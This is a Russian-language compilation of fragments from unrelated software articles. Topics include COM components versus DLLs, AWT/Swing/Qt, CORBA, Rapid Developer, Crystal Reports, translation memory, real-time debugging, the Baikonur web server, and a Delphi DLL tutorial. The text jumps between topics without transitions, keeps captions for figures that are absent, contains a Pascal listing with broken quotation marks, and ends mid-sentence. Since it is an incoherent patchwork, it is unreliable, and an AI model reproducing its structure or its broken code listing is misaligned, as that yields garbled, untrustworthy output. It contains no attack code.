    В производстве такое ограничение недопустимо. Можете ли вы себе представить, что вам пришлось бы переделывать автомобильный двигатель, если бы вы захотели заменить ваши шины от изготовителя на более совершенные? Это могло бы пролиться золотым дождем на механиков, но чрезмерные эксплуатационные издержки приведут к уменьшению спроса на автомобили, а от этого пострадают все: потребители, производители автомобилей, те же механики. Фактически, одним из основных факторов успеха промышленной революции стала способность взаимозаменяемости деталей машин, т.е. использование компонентов. Сегодня мы не задумываясь заменяем компоненты и добавляем новые принадлежности в наши автомобили.
    Автомобили ничего "не знают" о шинах, которые они используют. Шины имеют свойства (ширина колеса и пр.). Если свойства у различных шин совпадают, то эти шины взаимозаменяемы. Светильник ничего "не знает" о лампах, которые в нем используются. Если параметры ламп (диаметр завинчивающейся части) удовлетворяют требованиям изготовителя осветительного прибора, то эти лампы взаимозаменяемы. Давно ли индустрия программного обеспечения стала догонять остальную часть мира и строить компоненты, которые понятия не имеют о том, как они будут использоваться ? Для отрасли, которая считается передовой, мы действительно плетемся в хвосте.
    На первый взгляд, динамически подключаемые библиотеки (DLL) обеспечивают решение указанных выше проблем. Следующая выдуманная история покажет, что это не так.
    Предположим, вам нужно разработать приложение для компании Acme Gas Tanks. Приложение будет показывать уровень бензина в новом престижном топливном баке Acme на 1000 галлонов.
    Во-первых, вы создаете индикатор уровня на основе ActiveX(tm), который имеет три отметки: текущий уровень топлива в баке, минимально возможный безопасный уровень и максимально возможный безопасный уровень. Вы пишете DLL, назвав ее GasTankLevelGetterDLL, которая имеет следующие функции:

  • long GetLowestPossibleSafeLevel();
  • long GetHighestPossibleSafeLevel ();
  • long GetCurrentLevel(); Естественно, GasTankLevelGetterDLL поддерживает возможность некоторого устройства непрерывно считывать данные о количестве топлива в новом топливном баке Acme. Ваше приложение работает превосходно и не "глючит".

    Пару недель спустя, мистер Ричи Рич ( Richy Rich ) вызывает вас к себе и сообщает, что ваш ActiveX для индикации уровня является самой красивой вещью, которую он когда-либо видeл в своей жизни. Ричи говорит вам, что хочет использовать его для контроля уровня в своем аквариуме на 5000 галлонов. Он заявляет, что индикатор должен показывать те же три уровня, что и для топливного бака. Вы говорите ему, что зайдете к нему завтра, а пока подумаете над его предложением.

    На следующий день вы приходите к мысли, называть все DLL, которые реализуют те самые три функции, хотя и с различной внутренней обработкой, одинаково - LevelGetterDLL. Проблема контроля уровня воды в аквариуме мистера Ричи решена. Он проверяет ваше приложение 24 часа в сутки, чтобы убедиться, что его рыбки находятся в полной безопасности. Вы также передаете новую версию LevelGetterDLL Acme. Другие компании связываются с вами на предмет использования вашего ActiveX индикатора уровня. Вы отвечаете им: "Нет проблем! Возьмите эти три функции, назовите вашу DLL LevelGetterDLL, и все готово." Вам необходимо всего лишь один раз перекомпилировать ваше приложение, чтобы оно поддерживало новую версию LevelGetterDLL, но поскольку во всем мире все называют свои DLL одинаково (LevelGetterDLL) и используют одинаковые неизменные три метода, то все работает превосходно, и вам никогда не придется перекомпилировать ваше приложение снова.


    Вы возвращаетесь домой, чувствуя себя немножко гением.

    На следующий день, открыв The Wall Street Journal , вы обнаруживаете, что Ричи Рич разбился на своем вертолете. По дороге в штаб-квартиру Rich Inc. ему не хватило топлива. Похоже, Ричи был клиентом Acme и запускал оба приложения на своем компьютере одновременно. Приложение 1 было то самое, которое вы разработали с использованием LevelGetterDLL для контроля уровня в его аквариуме. Приложение 2 было сделано по заказу Acme для контроля уровня топлива, в нем использовалась та же версия LevelGetterDLL, которая была установлена на вертолете Ричи. И хотя Ричи запускал оба приложения, Приложение 2 для топливных баков Acme использовало DLL LevelGetterDLL для аквариума и показывало уровни 5000-галлонного аквариума вместо 1000-галлонного топливного бака, поскольку версия для аквариума была установлена на компьютер последней. Ричи ничего не знал о том, что его вертолету не хватит топлива. Rich Inc. подает в суд на Acme, которая, в свою очередь, подает в суд на вас. Другие компании, которым вы посоветовали ваше решение, также подают на вас в суд. Если бы вы использовали Component Object Model (COM), Ричи Рич был бы жив, и вам не пришлось бы садиться на скамью подсудимых.

    Правило Если две или более DLL предоставляют одинаковые функции (immutability), вы можете использовать любую из этих DLL. Однако одно приложение не может использовать сразу несколько DLL, как и не могут одновременно несколько таких DLL находиться на одном и том же компьютере. Технология COM решает эту проблему. Два сервера COM с идентичными интерфейсами (и следовательно методами) могут использоваться двумя различными приложениями и могут находиться на одном и том же компьютере, поскольку они имеют различные идентификаторы CLSID, и, следовательно, различны на бинарном уровне. Кроме того, технически эти два сервера COM взаимозаменяемы.

    Отсутствие "взаимозаменяемых деталей" (компонентов) присуще индустрии программных разработок в силу ее относительно молодого возраста.


    Однако, подобно индустриальной революции, создавшей независимые детали машин, технология COM реализует это через программные компоненты. Понимая смысл CLSID и неизменности интерфейсов, можно написать законченный plug-in без какого-либо знания о клиенте. Это означает, что Приложение 1 может использовать или Plug-In1 или Plug-In2. Еще лучше, чтобы Приложение 1 могло динамически переключать Plug-In1 и Plug-In2. Проектирование приложений, использующих динамически заменяемые вставки (plug-ins) сделает для программной индустрии то же самое, что сделали детали машин и механизмов для промышленной революции.

    Восторгаясь Active Template Library (ATL) и Distributed COM (DCOM), мы постепенно забываем, что лежало в основе появления COM. Способность DCOM использовать удаленный вызов процедур (remote procedure calls, RPC) выстраивать данные (marshaling) воодушевляет ( и, возможно, является одной из причин роста популярности COM за последние 12 месяцев), однако это не главное, почему была разработана технология COM. Главное, ради чего создавалась COM, - предоставить производителям программ возможность встраивать новые функциональные части в существующие приложения без перестраивания этих приложений. Компоненты COM должны быть спроектированы как взаимозаменяемые вставки (plug-ins), независимо от того, является ли компонент COM локально подключаемой DLL или удаленно запускаемым сервером.

    Описание AWT, Swing и Qt

    Инструментарий AWT (Abstract Windowing Toolkit) начал поставляться с самой первой версией Java. Он использует родные для платформ компоненты GUI (т.е. Win32 API для Windows и библиотеку Motif для Unix), обеспечивая таким образом переносную обертку. Это значит, что внешний вид и поведение AWT-программ будет отличаться на различных платформах, потому что именно они занимаются отрисовкой и управлением компонентов GUI. Это противоречит кросс-платформенной философии Java и может быть объяснено тем, что первая версия AWT была разработана за четырнадцать дней. По этой и другим причинам AWT был дополнен инструментарием Swing. Swing использует AWT (и, следовательно, низкоуровневые библиотеки) только лишь для базовых операций: создания прямоугольных окон, управления событиями и отрисовки графических примитивов. Всем остальным, включая отрисовку компонентов GUI, занимается Swing. Это решает проблему отличающегося внешнего вида и поведения приложений на различных платформах. Но из-за реализации Swing-инструментария средствами Java его производительность оставляет желать лучшего. В результате Swing-программы медлительны не только во время интенсивных вычислений, но и при отрисовке элементов пользовательского интерфейса. Как уже говорилось, ничто не вызывает у пользователей такого раздражения, как большое время отклика интерфейса программ. Странно наблюдать за медлительностью перерисовки Swing -кнопки на современном оборудовании. Хотя с ростом производительности оборудования эта ситуация будет постепенно улучшаться, сложным пользовательским интерфейсам, созданным с помощью Swing, всегда будет свойственна медлительность. При разработке инструментария Qt был использован тот же самый подход: низкоуровневые библиотеки используются только лишь для базовых операций, а отрисовкой элементов GUI занимается непосредственно Qt. Благодаря этому инструментарий Qt приобретает все преимущества Swing (например, схожесть поведения и внешнего вида приложений на различных платформах), и не имеет проблем, связанных с низкой производительностью, так как разработан на C++ и откомпилирован в машинный код. Интерфейс, созданный с помощью Qt, отличается быстрой работой, и, благодаря использованию кеширования, может быть быстрее интерфейса, разработанного стандартными средствами. Теоретически, оптимизированная не-Qt программа должна быть быстрее аналогичной Qt-программы; но на практике для оптимизации не-Qt программы потребуется больше усилий и мастерства, чем для создания оптимизированной Qt-программы. И Qt, и Swing поддерживают технику стилей, которая позволяет программам независимо от платформы использовать один из стилей интерфейса. Это становится возможным благодаря тому, что отрисовкой элементов GUI занимаются непосредственно Qt и Swing. Вместе с Qt поставляются стили, которые эмулируют внешний вид Win32, Motif, MacOS X Aqua (в Macintosh-версии), и даже стиль, эмулирующий внешний вид Swing-программ.

    Описание бизнес-процессов

    С помощью Rapid Developer аналитик проекта может описывать бизнес-логику создаваемой информационной системы в терминах бизнес-процессов. Для этого необходимо на дереве объектов Архитектора приложений выделить необходимый класс и в правом фрейме перейти на страничку "Processes".
    Количество бизнес-процессов, реализуемых любым классом не ограничено. Описание бизнес-процесса может быть любой степени сложности. Это может быть обычный текст, помещенный в поле "To do", или специфичная графическая диаграмма (вызывается при нажатии кнопки "Process Architect" для выделенного бизнес-процесса в списке "Process list").
    Описание бизнес-процессов
    Рис. 5..


    Ошибки в системах реального времени

    Отмеченные выше методы отладки позволяют выявлять и устранять ошибки следующего характера:
  • Ошибки в программном обеспечении, влекущие неправильное выполнение задачи (безотносительно времени). Обычные ошибки, обнаруживаемые средствами активной отладки. Эти средства будут рассмотрены в разделе 2.
  • Ошибки в ОСРВ: ошибки планирования, синхронизации и связи.Для отладки, в этом случае, надо использовать один из способов мониторинга. Подробно средства мониторинга описаны в разделе 3.
  • Логические ошибки, связанные с асинхронностью. Пример такого рода ошибок и способы их устранения будут приведены в разделе 4.
  • Ошибки, связанные с тем, что данные задачи были изменены другой задачей. Локализацию ошибок лучше проводить, используя мониторинг, а именно: осуществлять периодический контроль целостности данных, временно запрещать другим задачам доступ к некоторым участкам кода или данных.

    Oсновные архитектурные принципы

    Основное назначение CORBA и COM - поддержка разработки и развертывания сложных объектно-ориентированных прикладных систем. Для чего нужны эти модели? Любого отдельно взятого объектно-ориентированного языка недостаточно для написания распределенных вычислительных систем. Очень часто различные компоненты программной системы требуют реализации на разных языках и, возможно, разных аппаратных платформах. С помощью объектных моделей множество объектов приложения, в том числе и на различных платформах, взаимодействуют друг с другом и реализуют бизнес-процессы, создавая видимость единого целого. Функции CORBA и COM - это функции промежуточного программного обеспечения объектной среды. Для того чтобы обеспечить взаимодействие объектов и их интеграцию в цельную систему, архитектура промежуточного уровня должна реализовать несколько базовых принципов.
  • Независимость от физического размещения объекта. Компоненты программного обеспечения не обязаны находиться в одном исполняемом файле, выполняться в рамках одного процесса или размещаться на одной аппаратной системе.
  • Независимость от платформы. Компоненты могут выполняться на различных аппаратных и операционных платформах, взаимодействуя друг с другом в рамках единой системы.
  • Независимость от языка программирования. Различия в языках, которые используются при создании компонентов, не препятствуют их взаимодействию друг с другом. CORBA и COM во многом различны, однако сходны в том, каким образом в них достигается реализация этих принципов. Это клиент-серверные технологии, в которых функциональность объекта предоставляется клиенту посредством обращения к абстрактным интерфейсам. Интерфейс определяет набор методов, которые реализуют функции, присущие данному классу объектов. Интерфейс дает клиенту возможность только вызывать тот или иной метод, скрывая от него все детали его реализации. Рис.1. Механизм вызова удаленной процедуры Клиент получает доступ к объекту только путем вызова метода, определенного в интерфейсе объекта. Это означает, что реальные действия выполняются в адресном пространстве объекта, возможно, удаленном по отношению к процессу клиента.
    Сокрытие деталей реализации и позволяет в конечном итоге добиться слаженного взаимодействия компонентов в независимости от того, где и на какой платформе они реализованы и какой язык программирования для этого использовался. В обеих технологиях взаимодействие между клиентским процессом и сервером объекта, то есть процессом, который порождает и обслуживает экземпляры объекта, использует механизм объектный вариант вызова удаленной процедуры (RPC, remote procedure call). На рис. 1 показана типичная структура RPC - старейшей из технологий промежуточного программного обеспечения. Механизм RPC реализует схему передачи сообщений, в соответствии с которой в распределенном клиент-серверном приложении процедура-клиент передает специальное сообщение с параметрами вызова по сети в удаленную серверную процедуру, а результаты ее выполнения возвращаются в другом сообщении клиентскому процессу. Для того чтобы реализовать эту схему, на стороне клиента и на стороне сервера поддерживаются специальные компоненты, носящие название клиентский и серверный суррогаты (client stub и server stub). Для того чтобы вызвать ту или иную функцию, клиент обращается к клиентскому суррогату, который упаковывает аргументы в сообщение-запрос и передает их на транспортный уровень соединения. Серверный суррогат распаковывает полученное сообщение и в соответствии с переданными аргументами вызывает нужную функцию, или нужный метод объекта, если речь идет об объектном варианте RPC. В СОМ клиентский суррогат называется proxy, а серверный - stub. В CORBA клиентский суррогат не имеет специального названия, а серверный обозначают термином skeleton. Параметры вызова могут формироваться в отличной от серверной языковой и операционной среде, поэтому на клиентский и серверный суррогаты возлагаются функции преобразования аргументов и результатов в универсальное, не зависящее от конкретной архитектуры представление. Тем самым достигается возможность взаимодействия клиента и сервера на различных платформах. Строго говоря, рассуждая о вызове удаленных объектов и используя при этом аббревиатуру СОМ, мы не вполне точны.


    Взаимодействие объектов на разных узлах сети реализовано в расширенном варианте этой технологии, Distributed COM (DCOM), который, в свою очередь, базируется на объектном расширении спецификации DCE RPC. DCOM появилась в 1996 году вместе с операционной системой Windows NT 4.0. Рис. 2. Архитектура Component Object Model Исходная же модель СОМ (рис. 2) была представлена Мicrosoft в 1993 году как интеграционная схема для поддержки OLE, технологии построения составных документов в ОС Windows 3.1. Первоначально инфраструктура СОМ позволяла реализовывать компоненты, взаимодействующие в рамках одного адресного пространства или между процессами на одном компьютере, и представляла собой фактически средство динамической интеграции двоичных компонентов. Помимо OLE, модель СОМ послужила основой таких технологий Microsoft, как монитор транзакций Microsoft Transaction Server и архитектура интеграции прикладных компонентов ActiveX. В отличие от СОМ, архитектура CORBA [1,2] с самого начала создавалась для распределенных объектных систем. Ее автором является не отдельно взятая фирма, а консорциум Object Management Group (сейчас в него входят более 800 компаний), поставивший своей целью разработать стандартную архитектуру для взаимодействия объектов в неоднородной сетевой среде. Среди компаний, основавших OMG, были в основном производители компьютерных систем различного уровня и интеграторы с мировым именем, такие, например, как IBM, DEC, HP. Проблема развертывания приложений на смеси из самых разнородных платформ - от мэйнфреймов и Unix-компьютеров до персональных компьютеров - для них стояла очень остро. Консорциум OMG стремился объединить объектную технологию и принципы построения клиент-серверных распределенных систем, с тем чтобы предложить архитектуру, способную эффективно поддерживать взаимодействие приложений в сложной неоднородной корпоративной среде. Добиться этой цели, опираясь на решение какого-либо одного производителя, практически невозможно - компания-разработчик неизбежно отдавала бы приоритет своей платформе и тем самым препятствовала достижению истинной интероперабельности.


    Поэтому OMG пошла по пути разработки единых спецификаций, на основе которых компании имели возможность создавать собственные реализации. Рис. 3. Архитектура Common Object Request Broker Architecture Ядром архитектуры CORBA (рис. 3) является брокер объектных запросов (Object Request Broker, ORB). Это объектная шина, по которой в стиле, напоминающем классический механизм RPC, происходит взаимодействие локальных и удаленных объектов. В отличие от СОМ, ORB не опирается непосредственно на механизм RPC, но работает по тем же принципам. Помимо самого вызова метода удаленного объекта, ORB отвечает за поиск реализации объекта, его подготовку к получению и обработке запроса, передачу запроса и доставку результатов клиенту. Кроме того, CORBA включает в себя несколько групп реализаций объектов, а именно прикладные объекты, объектные службы, общие средства и домены. Прикладные объекты (Application Objects) представляют собой реализации объектов для конкретных пользовательских приложений, например, объекты для поддержки специфических бизнес-процессов. Реализации объектов, предоставляющие общие для любой объектно-ориентированной среды возможности, входят в категорию объектных служб (CORBA services): служба имен, служба событий, служба сохранения в долговременной памяти, служба транзакций и т.д. Общие средства (CORBA facilities)- это реализации объектов, необходимые для большого числа приложений, например, поддержка составных документов, потоков заданий и др. В CORBA есть также понятие домена; реализации объектов домена (CORBAdomains) предназначены для приложений вертикальных рынков - здравоохранения, страхования, финансового рынка, производственных отраслей и т.д. С момента появления первой ее версии в октябре 1991 года архитектура CORBA постоянно совершенствуется, чему способствуют строго регламентированные процессы принятия новых стандартов в OMG. Принимаемые стандарты открыты, и любая фирма может присоединиться к консорциуму и предложить свою технологию для стандартизации.

    Основные модули Crystal Reports.

    Crystal Reports состоит из следующих основных компонентов: Report Designer (файл CRW.EXE для 16 - разрядной версии и CRW32.EXE для 32- разрядной) - основной модуль, который позволяет разрабатывать отчеты и открывать *.rpt -файлы. Прочие компоненты (перечисленные ниже) играют вспомогательную роль. Query Designer (CQW.DLL /CQW32.DLL) - инструмент для создания SQL- запросов (описан в третьей статье серии). Data Dictionary (CDW. EXE / CDW.EXE) - словарь типовых решений для быстрой разработки отчетов. Словари хранятся в файлах *.DC5. Работа со словарями Crystal описана во второй статье серии. Report Engine (CRPE.DLL / CRPE32.DLL) - API, дающий возможность разработчикам интегрировать отчеты в их собственные приложения. Создав отчет в Report Designer, можно просматривать его в приложениях, используя Report Engine. С помощью Report Engine можно во время выполнения устанавливать условия группировки данных, стили графиков, местоположение БД и многое другое.

    Основные определения

    Концепт- не зависящее от конкретного языка понятие, соответствующее реальной или абстрактной сущности, свойству, действию, либо иному элементу, отражающему связь между другими понятиями. Термин- слово или словосочетание на заданном языке, обозначающее в этом языке конкретный концепт. Терминология- множество обозначающих один и тот же концепт терминов из различных языков. Сегмент- непрерывный фрагмент текста, состоящего из терминов одного языка, обозначающих связанную по некоторому критерию группу концептов. Вариант сегмента- сегмент, похожий на исходный по некоторому критерию. Исходный язык- язык, с которого осуществляется перевод. Целевой язык- язык, на который осуществляется перевод. Языковая пара- упорядоченная пара сегментов, объявленных переводчиком эквивалентными по смыслу, первый из которых содержит термины на исходном языке, а второй- на целевом.
    Предметом настоящего обзора является отладка систем реального времени. Под системой реального времени (СРВ) мы понимаем систему, в которой корректность функционирования зависит от соблюдения временных ограничений. Существующие СРВ являются многозадачными. Многозадачность реализуется через многопроцессность*) и многопоточность. Под процессом понимается держатель ресурсов (например, память, данные, дескрипторы открытых файлов), которые не разделяются с другими процессами. В рамках одного процесса выполняются один или несколько потоков. Они совместно используют ресурсы процесса. Многопроцессность в СРВ имеет существенные недостатки, поскольку требует поддержки времени выполнения для доступа к памяти, и, следовательно, при переключении контекстов системе нужно выполнить дополнительные действия. Многопоточность - это наиболее распространенный подход при проектировании систем реального времени, при котором СРВ представляет собой один процесс, в рамках которого запущено несколько потоков. Недостатком многопоточности является возможность модификации чужих данных какой-либо задачей (из-за отсутствия защиты). В связи с этим в СРВ представлены средства синхронизации, то есть средства, обеспечивающие задачам доступ к разделяемым ресурсам. К таким средствам относятся семафоры (бинарные и счетчики), мьютексы, очереди сообщений (см. [1],[3],[25]). Структура СРВ приведена на рис.1, где прикладной код - это совокупность пользовательских потоков управления, ОСРВ - операционная система реального времени, обеспечивающая планирование, синхронизацию и взаимодействие пользовательских потоков управления.
    Рис. 1. Структура системы реального времени Будем называть распределенную систему распределенной системой реального времени (РСРВ), если корректность ее функционирования зависит также и от ограничений, накладываемых на время обмена между компонентами системы.

    Основные подсистемы Rapid Developer

    Работа в Rapid Developer ведется в итеративном режиме. Подход простой - сначала смоделировать некоторую функциональность системы, а затем дорабатывать ее. Моделирование, как и всегда, основано на различных представлениях информационной системы (представление классов, структуры сайта, баз данных и т.д.).
    Основные подсистемы Rapid Developer
    Рис. 1. Итеративный процесс разработки
    Rapid Developer включает несколько подсистем моделирования, с помощью которых ведется процесс постепенной разработки информационной системы. Продукт состоит из следующих основных подсистем:
  • Архитектор приложения.
  • Подсистема описания бизнес-процессов.
  • Архитектор классов.
  • Подсистема определения бизнес-правил.
  • Архитектор сайта.
  • Архитектор Web-страниц.
  • Подсистема формирования тем и стилей.
  • Архитектор баз данных.
  • Архитектор распределения артефактов системы.
  • Архитектор логики
  • .
    Кратко указанные подсистемы будут рассмотрены ниже.
    Импорт существующих наработок и работа в различных подсистемах Rapid Developer выражается в наполнении единого репозитория проекта. В любой момент разработки легко развернуть проектируемую информационную систему на сервере приложений и проверить добавленную функциональность.
    Основные подсистемы Rapid Developer
    Рис. 2. Подсистемы Rapid Developer
    Запуск конкретного архитектора осуществляется либо с помощью группы пунктов главного меню "Architects", либо с помощью кнопок следующей панели инструментов:
    Основные подсистемы Rapid Developer
    Рис. 3. Кнопки запуска архитекторов Rapid Developer
    На рис. 3 отображены кнопки позволяющие осуществить запуск:
  • Архитектора приложения (кнопка "A").
  • Архитектора классов (кнопка "C").
  • Архитектора сайта (кнопка "S").
  • Архитектора Web-страниц (кнопка "P").
  • Подсистема формирования тем и стилей (кнопка "T").
  • Архитектора распределения артефактов системы (кнопка "D").
  • Архитектора логики (кнопка "L").

  • Подсистемы описания бизнес-процессов и определения тем и стилей запускаются из разных архитекторов при необходимости.


    Основные преимущества, достигаемые при переходе в 3-звенную архитектуру.

    Введение дополнительного звена в цепочку клиент-сервер должно быть вызвано ощутимыми преимуществами, получаемыми при реальной эксплуатации результирующей информационной системы. Собственно, так и происходит:
  • в системе с применением Baikonur Web App Server не накладываются жесткие ограничения на тип операционной системы и мощность клиентского рабочего места. В то время как в клиент-серверных системах минимальные требования к рабочему месту - 16Mb ОЗУ, а если используется другой тип операционной системы, разработчикам приходится дублировать разработку клиентской части для другой операционной системы. Применение Baikonur позволяет использовать стандартные Internet-браузеры для оснащения клиентского места, работающие при минимуме оперативной памяти на клиентском рабочем месте.
  • Клиентские рабочие места могут работать с сервером Baikonur удаленно, не подвергаясь существенной переделке, в то время как стандартный клиент-серверный подход не является настолько отработанным, чтобы клиентское рабочее место легко без изменения могло работать в удаленном режиме. В случае Baikonur различные практические вопросы при использовании удаленного рабочего места (типа "что произойдет, если случится обрыв линии, сохранится ли контекст задачи, существует ли возможность присоединиться к уже запущенным задачам с другого рабочего места", как решить проблему удаленного администрирования, вопросы помех на линии, вопросы доступа как через модемный пул, так и через Internet, вопросы безопасности данных, вопросы насыщенности сетевого траффика и т.д.) решаются без особых трудностей, поскольку исторически Internet-технологии в первую очередь решали именно эти задачи, и именно в этих вопросах накоплен наибольший опыт.
  • Система с использованием Baikonur легко масштабируется от небольшой системы уровня рабочей группы до системы масштаба нескольких тысяч одновременно работающих рабочих мест. Все это может быть произведено без существенной переделки системы простым увеличением мощности аппаратуры сервера приложений или использованием нескольких серверов приложений.
  • Лицензионная политика для SQL-серверов и для Web-серверов, к которым относится в этом вопросе и Baikonur Web App Server, существенно отличается.
    При покупке SQL- сервера предприятие обязано оплатить лицензии на каждое рабочее место, одновременно работающее с сервером. В случае Baikonur Web App Server оплачивается только лицензия на сервер. Различные версии Baikonur рассчитаны на различную суммарную нагрузку. В случае, если с базой данных одновременно работает 200 человек, реальное количество одновременных коннектов Baikonur сервера к SQL-серверу может быть в десятки раз меньше, поэтому возникает реальная возможность сэкономить средства при реализации крупного корпоративного проекта.
  • В том случае, когда количество установленных рабочих мест в системе с архитектурой клиент-сервер переваливает за несколько десятков, у администратора системы начинаются серьезные проблемы с администрированием такого количества рабочих мест. Как правило, корпоративная информационная система находится в постоянном развитии, и существует необходимость следить за тем, чтобы на все рабочие места была установлена свежая верия клиентского приложения, вовремя переинсталлировать ее и т.д. При увеличении рабочих мест свыше сотни становится физически невозможным вовремя обновлять клиентские приложения, а при наличии еще и удаленных рабочих мест администрирование системы превращается в вечную головную боль технического персонала предприятия. Следует также учитывать стоимость такого администрирования в масштабах предприятия, наличие нерабочего времени для каждого рабочего места (технический перерыв), возможную неработоспособность всей системы в случае работы несовместимых версий клиентского приложения и т.п.
  • В случае применения Baikonur все эти проблемы решаются много проще. Как уже говорилось, информационная система в трехзвенной архитектуре с использованием Baikonur не слишком критична к версии и типу Internet-браузера и будет корректно работать даже в случае разных версий браузеров и разных операционных систем. Новая версия приложений переустанавливается только на серверах приложений, что требует в сотни раз меньше усилий, чем в случае переустановки их на клиентских рабочих местах.
  • Функциональная расширяемость системы на основе Baikonur сервера.


    В Baikonur Web App Server реализована технология динамической смены протоколов. Одним из наиболее употребимых протоколов Baikonur является интернетовский протокол http 1.1. Однако, технология динамической смены протоколов позволяет управлять информационными потоками, предназначенными не только для пересылки гипертекстовых страничек по Internet. Это могут быть потоки информации, предназначенные для передачи голосовой информации, почтовых сообщений, просто файлов, видеоинформации, мониторинговой информации, результатов измерений и т.д. Можно использовать уже принятый соответствующий стандарт или придумать и реализовать собственный. Такая беспрецедентная возможность расширения функциональности системы абсолютно нехарактерна для клиент-серверных продуктов прежнего поколения.
  • Секретность и безопасность. В клиент-серверных системах прежнего поколения принято, что клиентское приложение имеет доступ к метаданным системы. Практика показывает, что при такой схеме работы весьма сложно обеспечить стопроцентную безопасность всей информационной системы. Кроме того, только немногие клиент-серверные продукты обеспечивают шифрование данных на лету при передаче их по сети.
  • В Baikonur Enterprise Web Application Server реализован стандарт SSL (Secure Socket Layer) - вся передаваемая по сети информация шифруется одним из распространенных алгоритмов шифрования. В самой старшей версии существует возможность замены алгоритма шифрования, что иногда (в реализации закрытых внутренних проектов) бывает необходимо. Вопросы секретности и безопасности данных при практической реализации корпоративной информационной системы заключаются не только в том требовании, чтобы вся информация, передаваемая по модемной линии или по сетевому кабелю, надежно шифровалась. В Baikonur-системе можно легко обеспечить ведение записей о каждом произошедшем факте доступа в систему, причем при необходимости можно протоколировать любую попытку взлома системы. Существует также возможность написания модуля (запускаемого приложения), предпринимающего немедленные адекватные действия в экстремальной для системы ситуации. Каждый клиент при помощи своего браузера видит динамически формируемую страничку.Эта страничка формируется заново каждый раз при новом коннекте. Пользователь в стандартном случае не имеет никакого доступа к метаданным или другой системной информации. Более того, для каждого пользователя в соответствии с его уровнем доступа или в соответствии с какими-либо другими соображениями можно формировать свою версию того, что он увидит на экране своего монитора. Интегрирование самых различных систем в единую систему. Существует очевидная тенденция для всех основных производителей программного обеспечения выпускать Internet/Intranet версию своего программного обеспечения. С учетом этой тенденции появляется возможность объединять программные пакеты от большинства производителей в единую систему, дописывая недостающие части в виде exe-модулей, запускаемых под управлением Baikonur-сервера.

    Основные принципы работы

    Память переводов представляет собой базу данных, хранящую языковые пары, и определенный механизм поиска. Несмотря на то, что различные профессиональные среды перевода, такие как "Translator'sWorkbench" фирмы Trados, "Transit" фирмы Star, "DejaVu" фирмы Atril, имеют, по-видимому, различную реализацию этого механизма ("по-видимому", поскольку алгоритмы не придаются огласке), общая идея становится ясной после изучения примеров. Поэтому с примеров и начнем. Пусть в исходном тексте встречаются следующие фразы: "Температура регулируется поворотом ручки."
    "Температура регулируется поворотом ручки по часовой стрелке."
    "Напор воды регулируется поворотом ручки по часовой стрелке." Если сегментация выполняется по предложениям, то каждая из приведенных фраз попадет в отдельный сегмент. Пусть первый сегмент был переведен человеком следующим образом: "The temperature can be adjusted by turning the knob." Языковая пара, состоящая из исходного и переведенного сегментов, заносится в память переводов. Когда переводчик доходит до второй фразы примера, система определяет сходство и выводит на экран следующую информацию: таблица 2. Таблица 2
    Текущий сегментТемпература регулируется поворотом ручки по часовой стрелке
    Найденный сегментТемпература регулируется поворотом ручки
    ПереводThe temperature can be adjusted by turning the knob
    Степень сходства~70%
    Теперь переводчик имеет возможность частично воспользоваться уже сделанным переводом, учтя различия: "The temperature can be adjusted by turning the knob clockwise." После того, как сегмент, соответствующий второй фразе примера помечается как переведенный, в памяти переводов появляется еще одна языковая пара. Тем самым, когда дело доходит по третьей фразы, система уже имеет возможность показать переводчику два похожих варианта: таблица 3. Таблица 3
    Текущий сегментНапор воды регулируется поворотом ручки по часовой стрелке
    Найденная языковая пара 1Температура регулируется поворотом ручки по часовой стрелке
    The temperature can be adjusted by turning the knob clockwise
    Степень сходства~65%
    Текущий сегментНапор воды регулируется поворотом ручки по часовой стрелке
    Найденная языковая пара 2Температура регулируется поворотом ручки
    The temperature can be adjusted by turning the knob
    Степень сходства~40%
    Воспользовавшись, к примеру, первым из предложенных вариантов, переводчик быстро расправляется с оставшейся частью фразы: "The water head can be adjusted by turning the knob clockwise." Эффективность работы памяти переводов во многом определяется тем, насколько удачно решены следующие задачи:
  • сегментация;
  • обработка специальных символов и форматирующей информации. Очевидно, что с увеличением размера сегментов будет уменьшаться число полных совпадений (и увеличиваться число частичных), что сильно повысит ресурсоемкость процедур поиска и потребует от переводчика значительных усилий в изучение предоставленных ему в качестве вариантов перевода языковых пар.
    С другой стороны, уменьшение размера сегментов сделает их малопригодными для повторного использования, поскольку сильно возрастет влияние контекста на перевод. Оптимальной единицей сегментации чаще всего оказывается фрагмент предложения, ограниченный знаками препинания. Во избежание ошибочной сегментации по точкам внутри аббревиатур и других подобных случаев используют регулярные выражения и списки исключений. Вторая проблема обусловлена тем, что в тексте кроме букв зачастую присутствуют иные символы, как то: маркеры внедренных в документ объектов, закладки, перекрестные ссылки, переключатели свойств шрифта. Все эти инородные элементы в ряде случаев могут повлиять на перевод. Например, выделенное курсивом слово может при переводе быть взято в кавычки и попасть в результирующий текст в неизменном виде. Для управления поведением анализатора в таких ситуациях во многих программных продуктах предусмотрены специальные настройки, в том числе, основанные на применении регулярных выражений.

    Основы разработки DLL

    Разработка динамических библиотек не представляет собой некий сверхсложный процесс, доступный лишь избранным. Если вы достаточно хорошо знакомы с разработкой приложений на Object Pascal, то вам не составит особого труда научиться работать с механизмом DLL. Итак, рассмотрим те особенности создания DLL, которые вам необходимо знать, а в завершении статьи разработаем свою собственную библиотеку. Как и любой другой модуль, модуль динамической библиотеки имеет фиксированный формат. Взгляните на листинг, представленный ниже. library MyFirstDLL; uses SysUtils, Classes, Forms, Windows; procedure HelloWorld(AForm : TForm); begin MessageBox(AForm.Handle, Hello world!', DLL Message Box', MB_OK or MB_ICONEXCLAMATION); end; exports HelloWorld; begin end. Первое, на что следует обратить внимание, это ключевое слово library, находящееся вверху страницы. Library определяет этот модуль как модуль библиотеки DLL. Далее идет название библиотеки. В нашем примере мы имеем дело с динамической библиотекой, содержащей единственную процедуру: HelloWorld. Причем обратите внимание, что данная процедура по структуре ничем не отличается от тех, которые вы помещаете в модули своих приложений. Ключевое слово exports сигнализирует компилятору о том, что перечисленные ниже функции и/или процедуры должны быть доступны из вызывающих приложений (т.е. они как бы "экспортируются" из библиотеки). Подробнее о механизме экспорта мы поговорим чуть позже. И, наконец, в конце модуля можно увидеть ключевые слова begin и end. Внутри данного блока вы можете поместить код, который должен выполняться в процессе загрузки библиотеки. Достаточно часто этот блок остается пустым. Как уже говорилось выше, все процедуры и функции, помещаемые в DLL, могут быть разделены на две группы: экспортируемые (вызываемые из других приложений) и локальные. Естественно, внутри библиотеки также могут быть описаны классы, которые в свою очередь содержат методы, но в рамках данной статьи я не буду на этом останавливаться. Описание и реализация процедур и функций, вызываемых в пределах текущей DLL, ничем не отличаются от их аналогов в обычных проектах-приложениях. Их специфика заключается лишь 